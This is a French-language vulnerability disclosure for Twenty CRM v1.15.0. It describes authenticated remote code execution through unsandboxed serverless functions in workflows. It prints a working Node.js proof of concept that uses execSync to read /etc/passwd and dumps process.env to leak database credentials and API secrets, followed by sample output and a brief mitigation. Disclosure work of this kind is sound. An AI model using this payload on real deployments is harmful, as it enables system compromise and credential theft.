
Preuve de concept pour l'exécution de code à distance authentifiée dans Twenty CRM via des fonctions serverless non sandboxées, permettant l'exécution arbitraire de commandes Node.js et la divulgation de variables d'environnement.
Produit : Twenty CRM
Vulnérabilité : Exécution de code à distance (RCE) via les fonctions serverless des workflows
Sévérité : Critique
Composant affecté : Automatisation des workflows (Code - Fonction serverless)
Version testée : v1.15.0
Ce dépôt documente une vulnérabilité critique dans le moteur de workflows de Twenty CRM. Le composant « Code - Fonction serverless » permet aux utilisateurs authentifiés d'exécuter du code Node.js arbitraire. En raison d'un manque de sandboxing, il est possible d'importer le module child_process et d'exécuter des commandes au niveau du système sur le serveur hôte.
L'application permet aux utilisateurs de créer des workflows d'automatisation personnalisés qui incluent une étape d'exécution de code. Bien que cela soit destiné à la manipulation de données, l'environnement d'exécution ne restreint pas correctement l'accès aux modules intégrés de Node.js ni au système d'exploitation sous-jacent.
Un attaquant peut utiliser execSync de la bibliothèque child_process pour :
cat, ls, whoami)./etc/passwd).process.env), révélant les identifiants de base de données, les clés API et les secrets de l'application.import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
try {
// 1. Exécution de commande à distance : Lecture des utilisateurs système
const output = execSync('cat /etc/passwd').toString();
// 2. Divulgation d'informations : Extraction de toutes les variables d'environnement (Secrets)
const secrets = JSON.stringify(process.env);
return {
data: output,
secrets: secrets
};
} catch (e: any) {
return { error: e.message };
}
};
Aperçu du code
Le workflow s'exécute avec succès et renvoie les données système.
Accès aux fichiers système (/etc/passwd) :
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
...
Variables d'environnement divulguées :
L'extraction de process.env a révélé des détails de configuration critiques :
PG_DATABASE_URL (Identifiants de base de données)APP_SECRET (Clés de signature)REDIS_URLAWS_ACCESS_KEY (Si configuré)Cette vulnérabilité permet à un utilisateur authentifié (disposant des autorisations pour créer des workflows) d'obtenir un compromission totale du système.
Pour corriger ce problème, la fonctionnalité « Fonction serverless » nécessite une isolation appropriée.
child_process, fs et net.